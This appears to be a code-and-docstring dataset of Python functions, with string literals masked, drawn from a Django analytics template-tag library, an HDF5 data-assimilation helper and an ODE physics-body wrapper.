{"signature": "def __init__(self, filename, damethod, date, ensize):", "body": "self.filename = filename<EOL>self.damethod = damethod<EOL>self.date = date<EOL>self.ensize = ensize<EOL>self.dafile = h5py.File(self.filename, \"<STR_LIT:a>\")<EOL>self.dafile.attrs['<STR_LIT>'] = self.damethod<EOL>self.dafile.attrs['<STR_LIT:date>'] = self.date<EOL>self.dafile.attrs['<STR_LIT>'] = self.ensize<EOL>self.dafile.create_group(\"<STR_LIT>\")<EOL>self.dafile.create_group(\"<STR_LIT>\")<EOL>self.dafile.create_group(\"<STR_LIT>\")<EOL>self.dafile.create_group(\"<STR_LIT>\")<EOL>self.dafile.create_group(\"<STR_LIT>\")<EOL>self.dafile.create_group(\"<STR_LIT>\")<EOL>", "docstring": "Initialize darun attributes\n\n        Args:\n            filename (str): Absolute path of file name as a string with `hdf5` extension\n            damethod (str): Name of the assimilation method used, i.e. `enkf`.\n            date (str): Date of the experiment `MM-DD-YYYY:HHHH`\n            ensize (int): ensemble size", "id": "f14798:c0:m0"}
{"signature": "def _timestamp(when):", "body": "return (time.mktime(when.timetuple()) if sys.version_info < (<NUM_LIT:3>,) else<EOL>when.timestamp())<EOL>", "docstring": "Python 2 compatibility for `datetime.timestamp()`.", "id": "f14842:m0"}
{"signature": "def _hashable_bytes(data):", "body": "if isinstance(data, bytes):<EOL><INDENT>return data<EOL><DEDENT>elif isinstance(data, str):<EOL><INDENT>return data.encode('<STR_LIT:ascii>')  <EOL><DEDENT>else:<EOL><INDENT>raise TypeError(data)<EOL><DEDENT>", "docstring": "Coerce strings to hashable bytes.", "id": "f14842:m1"}
{"signature": "def intercom_user_hash(data):", "body": "if getattr(settings, '<STR_LIT>', None):<EOL><INDENT>return hmac.new(<EOL>key=_hashable_bytes(settings.INTERCOM_HMAC_SECRET_KEY),<EOL>msg=_hashable_bytes(data),<EOL>digestmod=hashlib.sha256,<EOL>).hexdigest()<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Return a SHA-256 HMAC `user_hash` as expected by Intercom, if configured.\n\nReturn None if the `INTERCOM_HMAC_SECRET_KEY` setting is not configured.", "id": "f14842:m2"}
{"signature": "@register.tag<EOL>def intercom(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return IntercomNode()<EOL>", "docstring": "Intercom.io template tag.\n\nRenders Javascript code to intercom.io testing.  You must supply\nyour APP ID account number in the ``INTERCOM_APP_ID``\nsetting.", "id": "f14842:m3"}
{"signature": "@register.tag<EOL>def piwik(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return PiwikNode()<EOL>", "docstring": "Piwik tracking template tag.\n\nRenders Javascript code to track page visits.  You must supply\nyour Piwik domain (plus optional URI path), and tracked site ID\nin the ``PIWIK_DOMAIN_PATH`` and the ``PIWIK_SITE_ID`` setting.\n\nCustom variables can be passed in the ``piwik_vars`` context\nvariable.  It is an iterable of custom variables as tuples like:\n``(index, name, value[, scope])`` where scope may be ``'page'``\n(default) or ``'visit'``.  Index should be an integer and the\nother parameters should be strings.", "id": "f14843:m0"}
{"signature": "@register.tag<EOL>def woopra(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return WoopraNode()<EOL>", "docstring": "Woopra tracking template tag.\n\nRenders Javascript code to track page visits.  You must supply\nyour Woopra domain in the ``WOOPRA_DOMAIN`` setting.", "id": "f14844:m0"}
{"signature": "@register.tag<EOL>def clickmap(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return ClickmapNode()<EOL>", "docstring": "Clickmap tracker template tag.\n\nRenders Javascript code to track page visits.  You must supply\nyour clickmap tracker ID (as a string) in the ``CLICKMAP_TRACKER_ID``\nsetting.", "id": "f14845:m0"}
{"signature": "@register.tag<EOL>def optimizely(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return OptimizelyNode()<EOL>", "docstring": "Optimizely template tag.\n\nRenders Javascript code to set-up A/B testing.  You must supply\nyour Optimizely account number in the ``OPTIMIZELY_ACCOUNT_NUMBER``\nsetting.", "id": "f14846:m0"}
{"signature": "@register.tag<EOL>def uservoice(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return UserVoiceNode()<EOL>", "docstring": "UserVoice tracking template tag.\n\nRenders Javascript code to track page visits.  You must supply\nyour UserVoice Widget Key in the ``USERVOICE_WIDGET_KEY``\nsetting or the ``uservoice_widget_key`` template context variable.", "id": "f14847:m0"}
{"signature": "@register.tag<EOL>def kiss_insights(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return KissInsightsNode()<EOL>", "docstring": "KISSinsights set-up template tag.\n\nRenders Javascript code to set-up surveys.  You must supply\nyour account number and site code in the\n``KISS_INSIGHTS_ACCOUNT_NUMBER`` and ``KISS_INSIGHTS_SITE_CODE``\nsettings.", "id": "f14848:m0"}
{"signature": "@register.tag<EOL>def matomo(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return MatomoNode()<EOL>", "docstring": "Matomo tracking template tag.\n\nRenders Javascript code to track page visits.  You must supply\nyour Matomo domain (plus optional URI path), and tracked site ID\nin the ``MATOMO_DOMAIN_PATH`` and the ``MATOMO_SITE_ID`` setting.\n\nCustom variables can be passed in the ``matomo_vars`` context\nvariable.  It is an iterable of custom variables as tuples like:\n``(index, name, value[, scope])`` where scope may be ``'page'``\n(default) or ``'visit'``.  Index should be an integer and the\nother parameters should be strings.", "id": "f14849:m0"}
{"signature": "@register.tag<EOL>def spring_metrics(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return SpringMetricsNode()<EOL>", "docstring": "Spring Metrics tracking template tag.\n\nRenders Javascript code to track page visits.  You must supply\nyour Spring Metrics Tracking ID in the\n``SPRING_METRICS_TRACKING_ID`` setting.", "id": "f14850:m0"}
{"signature": "@register.tag<EOL>def performable(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return PerformableNode()<EOL>", "docstring": "Performable template tag.\n\nRenders Javascript code to set-up Performable tracking.  You must\nsupply your Performable API key in the ``PERFORMABLE_API_KEY``\nsetting.", "id": "f14851:m0"}
{"signature": "@register.simple_tag<EOL>def performable_embed(hostname, page_id):", "body": "return mark_safe(EMBED_CODE % {<EOL>'<STR_LIT>': hostname,<EOL>'<STR_LIT>': page_id,<EOL>})<EOL>", "docstring": "Include a Performable landing page.", "id": "f14851:m1"}
{"signature": "@register.tag<EOL>def rating_mailru(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return RatingMailruNode()<EOL>", "docstring": "Rating@Mail.ru counter template tag.\n\nRenders Javascript code to track page visits. You must supply\nyour website counter ID (as a string) in the\n``RATING_MAILRU_COUNTER_ID`` setting.", "id": "f14852:m0"}
{"signature": "@register.tag<EOL>def google_analytics_js(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return GoogleAnalyticsJsNode()<EOL>", "docstring": "Google Analytics tracking template tag.\n\nRenders Javascript code to track page visits.  You must supply\nyour website property ID (as a string) in the\n``GOOGLE_ANALYTICS_JS_PROPERTY_ID`` setting.", "id": "f14853:m0"}
{"signature": "@register.tag<EOL>def hubspot(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return HubSpotNode()<EOL>", "docstring": "HubSpot tracking template tag.\n\nRenders Javascript code to track page visits.  You must supply\nyour portal ID (as a string) in the ``HUBSPOT_PORTAL_ID`` setting.", "id": "f14855:m0"}
{"signature": "@register.tag<EOL>def crazy_egg(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return CrazyEggNode()<EOL>", "docstring": "Crazy Egg tracking template tag.\n\nRenders Javascript code to track page clicks.  You must supply\nyour Crazy Egg account number (as a string) in the\n``CRAZY_EGG_ACCOUNT_NUMBER`` setting.", "id": "f14856:m0"}
{"signature": "@register.tag<EOL>def yandex_metrica(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return YandexMetricaNode()<EOL>", "docstring": "Yandex.Metrica counter template tag.\n\nRenders Javascript code to track page visits. You must supply\nyour website counter ID (as a string) in the\n``YANDEX_METRICA_COUNTER_ID`` setting.", "id": "f14857:m0"}
{"signature": "@register.tag<EOL>def chartbeat_top(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return ChartbeatTopNode()<EOL>", "docstring": "Top Chartbeat template tag.\n\nRender the top Javascript code for Chartbeat.", "id": "f14858:m0"}
{"signature": "@register.tag<EOL>def chartbeat_bottom(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return ChartbeatBottomNode()<EOL>", "docstring": "Bottom Chartbeat template tag.\n\nRender the bottom Javascript code for Chartbeat.  You must supply\nyour Chartbeat User ID (as a string) in the ``CHARTBEAT_USER_ID``\nsetting.", "id": "f14858:m1"}
{"signature": "@register.tag<EOL>def hotjar(parser, token):", "body": "_validate_no_args(token)<EOL>return HotjarNode()<EOL>", "docstring": "Hotjar template tag.", "id": "f14859:m1"}
{"signature": "@register.tag<EOL>def facebook_pixel_head(parser, token):", "body": "_validate_no_args(token)<EOL>return FacebookPixelHeadNode()<EOL>", "docstring": "Facebook Pixel head template tag.", "id": "f14860:m1"}
{"signature": "@register.tag<EOL>def facebook_pixel_body(parser, token):", "body": "_validate_no_args(token)<EOL>return FacebookPixelBodyNode()<EOL>", "docstring": "Facebook Pixel body template tag.", "id": "f14860:m2"}
{"signature": "@register.tag<EOL>def gauges(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return GaugesNode()<EOL>", "docstring": "Gaug.es template tag.\n\nRenders Javascript code to gaug.es testing.  You must supply\nyour Site ID account number in the ``GAUGES_SITE_ID``\nsetting.", "id": "f14861:m0"}
{"signature": "@register.tag<EOL>def olark(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return OlarkNode()<EOL>", "docstring": "Olark set-up template tag.\n\nRenders Javascript code to set-up Olark chat.  You must supply\nyour site ID in the ``OLARK_SITE_ID`` setting.", "id": "f14862:m0"}
{"signature": "@register.tag<EOL>def clicky(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return ClickyNode()<EOL>", "docstring": "Clicky tracking template tag.\n\nRenders Javascript code to track page visits.  You must supply\nyour Clicky Site ID (as a string) in the ``CLICKY_SITE_ID``\nsetting.", "id": "f14863:m0"}
{"signature": "@register.tag<EOL>def mixpanel(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return MixpanelNode()<EOL>", "docstring": "Mixpanel tracking template tag.\n\nRenders Javascript code to track page visits.  You must supply\nyour Mixpanel token in the ``MIXPANEL_API_TOKEN`` setting.", "id": "f14864:m0"}
{"signature": "@register.tag<EOL>def kiss_metrics(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return KissMetricsNode()<EOL>", "docstring": "KISSinsights tracking template tag.\n\nRenders Javascript code to track page visits.  You must supply\nyour KISSmetrics API key in the ``KISS_METRICS_API_KEY``\nsetting.", "id": "f14865:m0"}
{"signature": "@register.tag<EOL>def google_analytics(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return GoogleAnalyticsNode()<EOL>", "docstring": "Google Analytics tracking template tag.\n\nRenders Javascript code to track page visits.  You must supply\nyour website property ID (as a string) in the\n``GOOGLE_ANALYTICS_PROPERTY_ID`` setting.", "id": "f14866:m0"}
{"signature": "@register.tag<EOL>def snapengage(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return SnapEngageNode()<EOL>", "docstring": "SnapEngage set-up template tag.\n\nRenders Javascript code to set-up SnapEngage chat.  You must supply\nyour widget ID in the ``SNAPENGAGE_WIDGET_ID`` setting.", "id": "f14867:m0"}
{"signature": "@register.tag<EOL>def gosquared(parser, token):", "body": "bits = token.split_contents()<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" % bits[<NUM_LIT:0>])<EOL><DEDENT>return GoSquaredNode()<EOL>", "docstring": "GoSquared tracking template tag.\n\nRenders Javascript code to track page visits.  You must supply\nyour GoSquared site token in the ``GOSQUARED_SITE_TOKEN`` setting.", "id": "f14868:m0"}
{"signature": "def get_required_setting(setting, value_re, invalid_msg):", "body": "try:<EOL><INDENT>value = getattr(settings, setting)<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise AnalyticalException(\"<STR_LIT>\" % setting)<EOL><DEDENT>if not value:<EOL><INDENT>raise AnalyticalException(\"<STR_LIT>\" % setting)<EOL><DEDENT>value = str(value)<EOL>if not value_re.search(value):<EOL><INDENT>raise AnalyticalException(\"<STR_LIT>\"<EOL>% (setting, invalid_msg, value))<EOL><DEDENT>return value<EOL>", "docstring": "Return a constant from ``django.conf.settings``.  The `setting`\nargument is the constant name, the `value_re` argument is a regular\nexpression used to validate the setting value and the `invalid_msg`\nargument is used as exception message if the value is not valid.", "id": "f14870:m0"}
{"signature": "def get_user_from_context(context):", "body": "try:<EOL><INDENT>return context['<STR_LIT:user>']<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>request = context['<STR_LIT>']<EOL>return request.user<EOL><DEDENT>except (KeyError, AttributeError):<EOL><INDENT>pass<EOL><DEDENT>return None<EOL>", "docstring": "Get the user instance from the template context, if possible.\n\nIf the context does not contain a `request` or `user` attribute,\n`None` is returned.", "id": "f14870:m1"}
{"signature": "def get_user_is_authenticated(user):", "body": "if callable(user.is_authenticated):<EOL><INDENT>return user.is_authenticated()<EOL><DEDENT>else:<EOL><INDENT>return user.is_authenticated<EOL><DEDENT>", "docstring": "Check if the user is authenticated.\n\n    This is a compatibility function needed to support both Django 1.x and 2.x;\n    Django 2.x turns the function into a proper boolean so function calls will\n    fail.", "id": "f14870:m2"}
{"signature": "def get_identity(context, prefix=None, identity_func=None, user=None):", "body": "if prefix is not None:<EOL><INDENT>try:<EOL><INDENT>return context['<STR_LIT>' % prefix]<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>try:<EOL><INDENT>return context['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>if getattr(settings, '<STR_LIT>', True):<EOL><INDENT>try:<EOL><INDENT>if user is None:<EOL><INDENT>user = get_user_from_context(context)<EOL><DEDENT>if get_user_is_authenticated(user):<EOL><INDENT>if identity_func is not None:<EOL><INDENT>return identity_func(user)<EOL><DEDENT>else:<EOL><INDENT>return user.get_username()<EOL><DEDENT><DEDENT><DEDENT>except (KeyError, AttributeError):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Get the identity of a logged in user from a template context.\n\nThe `prefix` argument is used to provide different identities to\ndifferent analytics services.  The `identity_func` argument is a\nfunction that returns the identity of the user; by default the\nidentity is the username.", "id": "f14870:m3"}
{"signature": "def get_domain(context, prefix):", "body": "domain = context.get('<STR_LIT>' % prefix)<EOL>if domain is None:<EOL><INDENT>domain = context.get('<STR_LIT>')<EOL><DEDENT>if domain is None:<EOL><INDENT>domain = getattr(settings, '<STR_LIT>' % prefix.upper(), None)<EOL><DEDENT>if domain is None:<EOL><INDENT>domain = getattr(settings, '<STR_LIT>', None)<EOL><DEDENT>if domain is None:<EOL><INDENT>if '<STR_LIT>' in settings.INSTALLED_APPS:<EOL><INDENT>from django.contrib.sites.models import Site<EOL>try:<EOL><INDENT>domain = Site.objects.get_current().domain<EOL><DEDENT>except (ImproperlyConfigured, Site.DoesNotExist):<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return domain<EOL>", "docstring": "Return the domain used for the tracking code.  Each service may be\nconfigured with its own domain (called `<name>_domain`), or a\ndjango-analytical-wide domain may be set (using `analytical_domain`.\n\nIf no explicit domain is found in either the context or the\nsettings, try to get the domain from the contrib sites framework.", "id": "f14870:m4"}
{"signature": "def is_internal_ip(context, prefix=None):", "body": "try:<EOL><INDENT>request = context['<STR_LIT>']<EOL>remote_ip = request.META.get('<STR_LIT>', '<STR_LIT>')<EOL>if not remote_ip:<EOL><INDENT>remote_ip = request.META.get('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>if not remote_ip:<EOL><INDENT>return False<EOL><DEDENT>internal_ips = None<EOL>if prefix is not None:<EOL><INDENT>internal_ips = getattr(settings, '<STR_LIT>' % prefix, None)<EOL><DEDENT>if internal_ips is None:<EOL><INDENT>internal_ips = getattr(settings, '<STR_LIT>', None)<EOL><DEDENT>if internal_ips is None:<EOL><INDENT>internal_ips = getattr(settings, '<STR_LIT>', None)<EOL><DEDENT>return remote_ip in (internal_ips or [])<EOL><DEDENT>except (KeyError, AttributeError):<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Return whether the visitor is coming from an internal IP address,\nbased on information from the template context.\n\nThe prefix is used to allow different analytics services to have\ndifferent notions of internal addresses.", "id": "f14870:m5"}
{"signature": "def disable_html(html, service):", "body": "return HTML_COMMENT % {'<STR_LIT:html>': html, '<STR_LIT>': service}<EOL>", "docstring": "Disable HTML code by commenting it out.\n\nThe `service` argument is used to display a friendly message.", "id": "f14870:m6"}
{"signature": "def _get_params(target, param, dof):", "body": "return [target.getParam(getattr(ode, '<STR_LIT>'.format(param, s)))<EOL>for s in ['<STR_LIT>', '<STR_LIT:2>', '<STR_LIT:3>'][:dof]]<EOL>", "docstring": "Get the given param from each of the DOFs for a joint.", "id": "f14887:m0"}
{"signature": "def _set_params(target, param, values, dof):", "body": "if not isinstance(values, (list, tuple, np.ndarray)):<EOL><INDENT>values = [values] * dof<EOL><DEDENT>assert dof == len(values)<EOL>for s, value in zip(['<STR_LIT>', '<STR_LIT:2>', '<STR_LIT:3>'][:dof], values):<EOL><INDENT>target.setParam(getattr(ode, '<STR_LIT>'.format(param, s)), value)<EOL><DEDENT>", "docstring": "Set the given param for each of the DOFs for a joint.", "id": "f14887:m1"}
{"signature": "def make_quaternion(theta, *axis):", "body": "x, y, z = axis<EOL>r = np.sqrt(x * x + y * y + z * z)<EOL>st = np.sin(theta / <NUM_LIT>)<EOL>ct = np.cos(theta / <NUM_LIT>)<EOL>return [x * st / r, y * st / r, z * st / r, ct]<EOL>", "docstring": "Given an angle and an axis, create a quaternion.", "id": "f14887:m2"}
{"signature": "def center_of_mass(bodies):", "body": "x = np.zeros(<NUM_LIT>)<EOL>t = <NUM_LIT:0.><EOL>for b in bodies:<EOL><INDENT>m = b.mass<EOL>x += b.body_to_world(m.c) * m.mass<EOL>t += m.mass<EOL><DEDENT>return x / t<EOL>", "docstring": "Given a set of bodies, compute their center of mass in world coordinates.", "id": "f14887:m3"}
{"signature": "@property<EOL><INDENT>def mass(self):<DEDENT>", "body": "return self.ode_body.getMass()<EOL>", "docstring": "The ODE mass object for this body.", "id": "f14887:c1:m2"}
{"signature": "@property<EOL><INDENT>def state(self):<DEDENT>", "body": "return BodyState(self.name,<EOL>tuple(self.position),<EOL>tuple(self.quaternion),<EOL>tuple(self.linear_velocity),<EOL>tuple(self.angular_velocity))<EOL>", "docstring": "The state of this body includes:\n\n            - name of the body (str)\n            - position (3-tuple)\n            - quaternion (4-tuple)\n            - linear velocity (3-tuple)\n            - angular velocity (3-tuple)", "id": "f14887:c1:m3"}
{"signature": "@state.setter<EOL><INDENT>def state(self, state):<DEDENT>", "body": "assert self.name == state.name,'<STR_LIT>'.format(state.name, self.name)<EOL>self.position = state.position<EOL>self.quaternion = state.quaternion<EOL>self.linear_velocity = state.linear_velocity<EOL>self.angular_velocity = state.angular_velocity<EOL>", "docstring": "Set the state of this body.\n\n        Parameters\n        ----------\n        state : BodyState tuple\n            The desired state of the body.", "id": "f14887:c1:m4"}
{"signature": "@property<EOL><INDENT>def position(self):<DEDENT>", "body": "return np.array(self.ode_body.getPosition())<EOL>", "docstring": "The (x, y, z) coordinates of the center of this body.", "id": "f14887:c1:m5"}
{"signature": "@position.setter<EOL><INDENT>def position(self, position):<DEDENT>", "body": "self.ode_body.setPosition(tuple(position))<EOL>", "docstring": "Set the (x, y, z) coordinates of the center of this body.\n\n        Parameters\n        ----------\n        position : 3-tuple of float\n            The coordinates of the desired center of this body.", "id": "f14887:c1:m6"}
{"signature": "@property<EOL><INDENT>def rotation(self):<DEDENT>", "body": "return np.array(self.ode_body.getRotation()).reshape((<NUM_LIT:3>, <NUM_LIT:3>))<EOL>", "docstring": "The rotation matrix for this body.", "id": "f14887:c1:m7"}
{"signature": "@rotation.setter<EOL><INDENT>def rotation(self, rotation):<DEDENT>", "body": "if isinstance(rotation, np.ndarray):<EOL><INDENT>rotation = rotation.ravel()<EOL><DEDENT>self.ode_body.setRotation(tuple(rotation))<EOL>", "docstring": "Set the rotation of this body using a rotation matrix.\n\n        Parameters\n        ----------\n        rotation : sequence of 9 floats\n            The desired rotation matrix for this body.", "id": "f14887:c1:m8"}
{"signature": "@property<EOL><INDENT>def quaternion(self):<DEDENT>", "body": "return np.array(self.ode_body.getQuaternion())<EOL>", "docstring": "The (w, x, y, z) rotation quaternion for this body.", "id": "f14887:c1:m9"}
{"signature": "@property<EOL><INDENT>def linear_velocity(self):<DEDENT>", "body": "return np.array(self.ode_body.getLinearVel())<EOL>", "docstring": "Current linear velocity of this body (in world coordinates).", "id": "f14887:c1:m11"}
{"signature": "@linear_velocity.setter<EOL><INDENT>def linear_velocity(self, velocity):<DEDENT>", "body": "self.ode_body.setLinearVel(tuple(velocity))<EOL>", "docstring": "Set the linear velocity for this body.\n\n        Parameters\n        ----------\n        velocity : 3-tuple of float\n            The desired velocity for this body, in world coordinates.", "id": "f14887:c1:m12"}
{"signature": "@property<EOL><INDENT>def angular_velocity(self):<DEDENT>", "body": "return np.array(self.ode_body.getAngularVel())<EOL>", "docstring": "Current angular velocity of this body (in world coordinates).", "id": "f14887:c1:m13"}
{"signature": "@angular_velocity.setter<EOL><INDENT>def angular_velocity(self, velocity):<DEDENT>", "body": "self.ode_body.setAngularVel(tuple(velocity))<EOL>", "docstring": "Set the angular velocity for this body.\n\n        Parameters\n        ----------\n        velocity : 3-tuple of float\n            The desired angular velocity for this body, in world coordinates.", "id": "f14887:c1:m14"}
{"signature": "@property<EOL><INDENT>def force(self):<DEDENT>", "body": "return np.array(self.ode_body.getForce())<EOL>", "docstring": "Current net force acting on this body (in world coordinates).", "id": "f14887:c1:m15"}
{"signature": "@force.setter<EOL><INDENT>def force(self, force):<DEDENT>", "body": "self.ode_body.setForce(tuple(force))<EOL>", "docstring": "Set the force acting on this body.\n\n        Parameters\n        ----------\n        force : 3-tuple of float\n            The desired force acting on this body, in world coordinates.", "id": "f14887:c1:m16"}
{"signature": "@property<EOL><INDENT>def torque(self):<DEDENT>", "body": "return np.array(self.ode_body.getTorque())<EOL>", "docstring": "Current net torque acting on this body (in world coordinates).", "id": "f14887:c1:m17"}
{"signature": "@torque.setter<EOL><INDENT>def torque(self, torque):<DEDENT>", "body": "self.ode_body.setTorque(tuple(torque))<EOL>", "docstring": "Set the torque acting on this body.\n\n        Parameters\n        ----------\n        torque : 3-tuple of float\n            The desired torque acting on this body, in world coordinates.", "id": "f14887:c1:m18"}
{"signature": "@property<EOL><INDENT>def is_kinematic(self):<DEDENT>", "body": "return self.ode_body.isKinematic()<EOL>", "docstring": "True iff this body is kinematic.", "id": "f14887:c1:m19"}
{"signature": "@is_kinematic.setter<EOL><INDENT>def is_kinematic(self, is_kinematic):<DEDENT>", "body": "if is_kinematic:<EOL><INDENT>self.ode_body.setKinematic()<EOL><DEDENT>else:<EOL><INDENT>self.ode_body.setDynamic()<EOL><DEDENT>", "docstring": "Set the kinematic/dynamic attribute for this body.\n\n        In pagoda, kinematic bodies have infinite mass and do interact with\n        other bodies via collisions.\n\n        Parameters\n        ----------\n        is_kinematic : bool\n            If True, this body will be set to kinematic. If False, it will be\n            set to dynamic.", "id": "f14887:c1:m20"}
{"signature": "@property<EOL><INDENT>def follows_gravity(self):<DEDENT>", "body": "return self.ode_body.getGravityMode()<EOL>", "docstring": "True iff this body follows gravity.", "id": "f14887:c1:m21"}
{"signature": "@follows_gravity.setter<EOL><INDENT>def follows_gravity(self, follows_gravity):<DEDENT>", "body": "self.ode_body.setGravityMode(follows_gravity)<EOL>", "docstring": "Set whether this body follows gravity.\n\n        Parameters\n        ----------\n        follows_gravity : bool\n            This body will follow gravity iff this parameter is True.", "id": "f14887:c1:m22"}
{"signature": "def rotate_to_body(self, x):", "body": "return np.dot(x, self.rotation)<EOL>", "docstring": "Rotate the given vector to the same orientation as this body.\n\n        Parameters\n        ----------\n        x : 3-tuple of float\n            A point in three dimensions.\n\n        Returns\n        -------\n        xrot : 3-tuple of float\n            The same point after rotation into the orientation of this body.", "id": "f14887:c1:m23"}
{"signature": "def body_to_world(self, position):", "body": "return np.array(self.ode_body.getRelPointPos(tuple(position)))<EOL>", "docstring": "Convert a body-relative offset to world coordinates.\n\n        Parameters\n        ----------\n        position : 3-tuple of float\n            A tuple giving body-relative offsets.\n\n        Returns\n        -------\n        position : 3-tuple of float\n            A tuple giving the world coordinates of the given offset.", "id": "f14887:c1:m24"}
{"signature": "def world_to_body(self, position):", "body": "return np.array(self.ode_body.getPosRelPoint(tuple(position)))<EOL>", "docstring": "Convert a point in world coordinates to a body-relative offset.\n\n        Parameters\n        ----------\n        position : 3-tuple of float\n            A world coordinates position.\n\n        Returns\n        -------\n        offset : 3-tuple of float\n            A tuple giving the body-relative offset of the given position.", "id": "f14887:c1:m25"}
{"signature": "def relative_offset_to_world(self, offset):", "body": "return np.array(self.body_to_world(offset * self.dimensions / <NUM_LIT:2>))<EOL>", "docstring": "Convert a relative body offset to world coordinates.\n\n        Parameters\n        ----------\n        offset : 3-tuple of float\n            The offset of the desired point, given as a relative fraction of the\n            size of this body. For example, offset (0, 0, 0) is the center of\n            the body, while (0.5, -0.2, 0.1) describes a point halfway from the\n            center towards the maximum x-extent of the body, 20% of the way from\n            the center towards the minimum y-extent, and 10% of the way from the\n            center towards the maximum z-extent.\n\n        Returns\n        -------\n        position : 3-tuple of float\n            A position in world coordinates of the given body offset.", "id": "f14887:c1:m26"}
